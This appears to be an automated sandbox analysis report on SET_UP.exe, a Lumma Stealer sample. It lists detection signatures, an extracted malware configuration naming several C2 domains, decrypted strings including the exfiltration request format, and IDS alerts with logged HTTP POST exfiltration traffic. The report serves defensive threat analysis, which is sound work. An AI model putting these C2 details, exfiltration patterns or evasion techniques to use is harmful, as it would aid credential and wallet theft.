Edit tour

Windows Analysis Report
SET_UP.exe

Overview

General Information

Sample name:	SET_UP.exe
Analysis ID:	1584813
MD5:	5b0bafdddbc54bcbc57b87dfb94d0c64
SHA1:	80f9e34f49784e7d097ea9cdf3989133a688c726
SHA256:	cedea9aa30ea6ae6d36937321225d8ad2d8e2ff21412ef2254817b0da028ed71
Tags:	exeLummaStealeruser-aachum
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

LummaC encrypted strings found

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to call native functions

Contains functionality to read the PEB

Detected non-DNS traffic on DNS port

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

SET_UP.exe (PID: 7620 cmdline: "C:\Users\user\Desktop\SET_UP.exe" MD5: 5B0BAFDDDBC54BCBC57B87DFB94D0C64)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["tirepublicerj.shop", "framekgirus.shop", "cloudewahsj.shop", "nearycrepso.shop", "noisycuttej.shop", "abruptyopsn.shop", "rabidcowse.shop", "wholersorie.shop", "glowscarrytsv.sbs"], "Build id": "hRjzG3--ELVIRA"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000003.1792533320.0000000000A68000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1906349793.0000000000950000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x531b3:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB
00000000.00000003.1807281482.0000000000A69000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1792533320.0000000000A37000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: SET_UP.exe PID: 7620	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: SET_UP.exe PID: 7620	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: SET_UP.exe PID: 7620	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 3 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-06T15:15:08.513880+0100	2028371	3	Unknown Traffic	192.168.2.4	49748	188.114.97.3	443	TCP
2025-01-06T15:15:09.515438+0100	2028371	3	Unknown Traffic	192.168.2.4	49749	188.114.97.3	443	TCP
2025-01-06T15:15:10.634900+0100	2028371	3	Unknown Traffic	192.168.2.4	49750	188.114.97.3	443	TCP
2025-01-06T15:15:12.133029+0100	2028371	3	Unknown Traffic	192.168.2.4	49751	188.114.97.3	443	TCP
2025-01-06T15:15:13.372746+0100	2028371	3	Unknown Traffic	192.168.2.4	49752	188.114.97.3	443	TCP
2025-01-06T15:15:14.676572+0100	2028371	3	Unknown Traffic	192.168.2.4	49753	188.114.97.3	443	TCP
2025-01-06T15:15:16.067101+0100	2028371	3	Unknown Traffic	192.168.2.4	49754	188.114.97.3	443	TCP
2025-01-06T15:15:23.991606+0100	2028371	3	Unknown Traffic	192.168.2.4	49756	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-06T15:15:09.034284+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49748	188.114.97.3	443	TCP
2025-01-06T15:15:10.005978+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49749	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-06T15:15:09.034284+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49748	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-06T15:15:10.005978+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49749	188.114.97.3	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-06T15:15:15.492390+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49753	188.114.97.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://glowscarrytsv.sbs/api

Avira URL Cloud: Label: malware

Found malware configuration

Source: SET_UP.exe.7620.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["tirepublicerj.shop", "framekgirus.shop", "cloudewahsj.shop", "nearycrepso.shop", "noisycuttej.shop", "abruptyopsn.shop", "rabidcowse.shop", "wholersorie.shop", "glowscarrytsv.sbs"], "Build id": "hRjzG3--ELVIRA"}

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.1906349793.0000000000950000.00000040.00001000.00020000.00000000.sdmp	String decryptor: cloudewahsj.shop
Source: 00000000.00000002.1906349793.0000000000950000.00000040.00001000.00020000.00000000.sdmp	String decryptor: rabidcowse.shop
Source: 00000000.00000002.1906349793.0000000000950000.00000040.00001000.00020000.00000000.sdmp	String decryptor: noisycuttej.shop
Source: 00000000.00000002.1906349793.0000000000950000.00000040.00001000.00020000.00000000.sdmp	String decryptor: tirepublicerj.shop
Source: 00000000.00000002.1906349793.0000000000950000.00000040.00001000.00020000.00000000.sdmp	String decryptor: framekgirus.shop
Source: 00000000.00000002.1906349793.0000000000950000.00000040.00001000.00020000.00000000.sdmp	String decryptor: wholersorie.shop
Source: 00000000.00000002.1906349793.0000000000950000.00000040.00001000.00020000.00000000.sdmp	String decryptor: abruptyopsn.shop
Source: 00000000.00000002.1906349793.0000000000950000.00000040.00001000.00020000.00000000.sdmp	String decryptor: nearycrepso.shop
Source: 00000000.00000002.1906349793.0000000000950000.00000040.00001000.00020000.00000000.sdmp	String decryptor: glowscarrytsv.sbs
Source: 00000000.00000002.1906349793.0000000000950000.00000040.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.1906349793.0000000000950000.00000040.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.1906349793.0000000000950000.00000040.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.1906349793.0000000000950000.00000040.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.1906349793.0000000000950000.00000040.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.1906349793.0000000000950000.00000040.00001000.00020000.00000000.sdmp	String decryptor: hRjzG3--ELVIRA

Source: SET_UP.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49754 version: TLS 1.2

Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 53585096h	0_2_0097C0FC
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then mov ecx, eax	0_2_00981026
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then mov ecx, eax	0_2_00981024
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then cmp dword ptr [ebp+edx*8+00h], 53585096h	0_2_0097A045
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then mov ebp, dword ptr [esp+24h]	0_2_00967008
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then mov ecx, eax	0_2_0097D066
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax-49h]	0_2_0097C196
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_0096E146
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+4Fh]	0_2_0099416B
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then mov edi, dword ptr [0044E7C0h]	0_2_009602C6
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then movzx ebx, bx	0_2_009792F7
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+54h]	0_2_009812F6
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then movzx edx, byte ptr [ebp+00h]	0_2_00954216
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then mov ebx, eax	0_2_00957386
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then mov ebp, eax	0_2_00957386
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then mov ebx, edx	0_2_0095E3DE
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then movzx esi, word ptr [ecx]	0_2_009663F6
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 01FCE602h	0_2_00992326
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ebx+3215B430h]	0_2_00981406
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then mov byte ptr [edi], cl	0_2_00981406
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 53585096h	0_2_009686BD
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_009726C6
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 53585096h	0_2_0097D6CD
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then not eax	0_2_00967625
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then mov byte ptr [edi], cl	0_2_0096D62C
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+01h]	0_2_00996656
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then cmp dword ptr [ebp+ebx*8+00h], 4B884A2Eh	0_2_00996656
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 53585096h	0_2_0097D640
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then cmp word ptr [ebp+eax+00h], 0000h	0_2_00966786
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then mov word ptr [ebp+00h], cx	0_2_0097C7A6
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-38B0D97Ch]	0_2_00982718
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then mov eax, ecx	0_2_00977735
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then mov ecx, eax	0_2_0097A896
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax+3AF4CF65h]	0_2_0098083D
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax+3AF4CF65h]	0_2_00980837
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then mov byte ptr [ebx], cl	0_2_00982863
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	0_2_0098B9A6
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then movsx edx, byte ptr [esi+eax]	0_2_009709E6
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then mov edx, ebx	0_2_00973A26
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then jmp eax	0_2_00978A56
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then add ebp, dword ptr [esp+0Ch]	0_2_0097FA56
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then test esi, esi	0_2_0098FA66
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then mov ecx, eax	0_2_0096ABFA
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then add ecx, 03h	0_2_0097CBEA
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then jmp ecx	0_2_0097DB0A
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then mov dword ptr [esp], eax	0_2_00967C0E
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then cmp word ptr [edi+ebx+02h], 0000h	0_2_00995C06
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then cmp dword ptr [ebp+ebx*8+00h], 27BE92A4h	0_2_00995C06
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then lea eax, dword ptr [esp+48h]	0_2_00979D15
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then jmp eax	0_2_00978D8D
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then movzx ecx, byte ptr [esi+ebx]	0_2_00976DA4
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then mov byte ptr [ebx], cl	0_2_00981DAB
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 53585096h	0_2_00966DC1
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then mov byte ptr [ebx], al	0_2_00980DEF
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then mov edx, eax	0_2_0096CD52
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ecx-13E2C4EAh]	0_2_0096CD52
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then mov word ptr [ebx], cx	0_2_0096DD71
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	0_2_00958EE6
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	0_2_00958EE6
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then mov byte ptr [eax], cl	0_2_0095FE46
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then mov edi, edx	0_2_0098FFB5
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	0_2_0097DF06

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49748 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49748 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49749 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49749 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49753 -> 188.114.97.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: tirepublicerj.shop
Source: Malware configuration extractor	URLs: framekgirus.shop
Source: Malware configuration extractor	URLs: cloudewahsj.shop
Source: Malware configuration extractor	URLs: nearycrepso.shop
Source: Malware configuration extractor	URLs: noisycuttej.shop
Source: Malware configuration extractor	URLs: abruptyopsn.shop
Source: Malware configuration extractor	URLs: rabidcowse.shop
Source: Malware configuration extractor	URLs: wholersorie.shop
Source: Malware configuration extractor	URLs: glowscarrytsv.sbs

Source: global traffic

TCP traffic: 192.168.2.4:62246 -> 162.159.36.2:53

Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49756 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49748 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49749 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49753 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49750 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49752 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49751 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49754 -> 188.114.97.3:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: glowscarrytsv.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 80Host: glowscarrytsv.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=TT526WWK16ZIQGUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18140Host: glowscarrytsv.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=8KZNW321KQR41UQUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8767Host: glowscarrytsv.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=LH89NZCPPT358FSVRSUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20438Host: glowscarrytsv.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=RAO4YOWPUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 916Host: glowscarrytsv.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SZ2TPF9HTZ8ABB2DKFXUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1112Host: glowscarrytsv.sbs

Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: glowscarrytsv.sbs
Source: global traffic	DNS traffic detected: DNS query: 198.187.3.20.in-addr.arpa

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: glowscarrytsv.sbs

Source: SET_UP.exe, 00000000.00000003.1793319091.00000000036F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: SET_UP.exe, 00000000.00000003.1793319091.00000000036F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: SET_UP.exe	String found in binary or memory: http://certificates.starfieldtech.com/repository/1604
Source: SET_UP.exe, 00000000.00000003.1766192279.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro8
Source: SET_UP.exe, 00000000.00000003.1793319091.00000000036F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: SET_UP.exe	String found in binary or memory: http://crl.starfieldtech.com/repository/0
Source: SET_UP.exe	String found in binary or memory: http://crl.starfieldtech.com/repository/sfsroot.crl0P
Source: SET_UP.exe	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: SET_UP.exe, 00000000.00000003.1793319091.00000000036F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: SET_UP.exe, 00000000.00000003.1793319091.00000000036F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: SET_UP.exe, 00000000.00000003.1793319091.00000000036F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: SET_UP.exe, 00000000.00000003.1793319091.00000000036F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: SET_UP.exe, 00000000.00000003.1793319091.00000000036F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: SET_UP.exe, 00000000.00000003.1793319091.00000000036F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: SET_UP.exe	String found in binary or memory: http://ocsp.starfieldtech.com/0D
Source: SET_UP.exe	String found in binary or memory: http://ocsp.thawte.com0
Source: SET_UP.exe	String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: SET_UP.exe	String found in binary or memory: http://s2.symcb.com0
Source: SET_UP.exe	String found in binary or memory: http://sf.symcb.com/sf.crl0f
Source: SET_UP.exe	String found in binary or memory: http://sf.symcb.com/sf.crt0
Source: SET_UP.exe	String found in binary or memory: http://sf.symcd.com0&
Source: SET_UP.exe	String found in binary or memory: http://sv.symcb.com/sv.crl0W
Source: SET_UP.exe	String found in binary or memory: http://sv.symcb.com/sv.crt0
Source: SET_UP.exe	String found in binary or memory: http://sv.symcd.com0&
Source: SET_UP.exe	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: SET_UP.exe	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: SET_UP.exe	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: SET_UP.exe	String found in binary or memory: http://www.symauth.com/cps0(
Source: SET_UP.exe	String found in binary or memory: http://www.symauth.com/rpa00
Source: SET_UP.exe, 00000000.00000003.1793319091.00000000036F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: SET_UP.exe, 00000000.00000003.1793319091.00000000036F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: SET_UP.exe, 00000000.00000003.1766940665.00000000036F9000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1766846038.00000000036FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: SET_UP.exe, 00000000.00000003.1766940665.00000000036F9000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1766846038.00000000036FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: SET_UP.exe, 00000000.00000003.1766940665.00000000036F9000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1766846038.00000000036FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: SET_UP.exe, 00000000.00000003.1766940665.00000000036F9000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1766846038.00000000036FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: SET_UP.exe	String found in binary or memory: https://d.symcb.com/cps0%
Source: SET_UP.exe	String found in binary or memory: https://d.symcb.com/rpa0
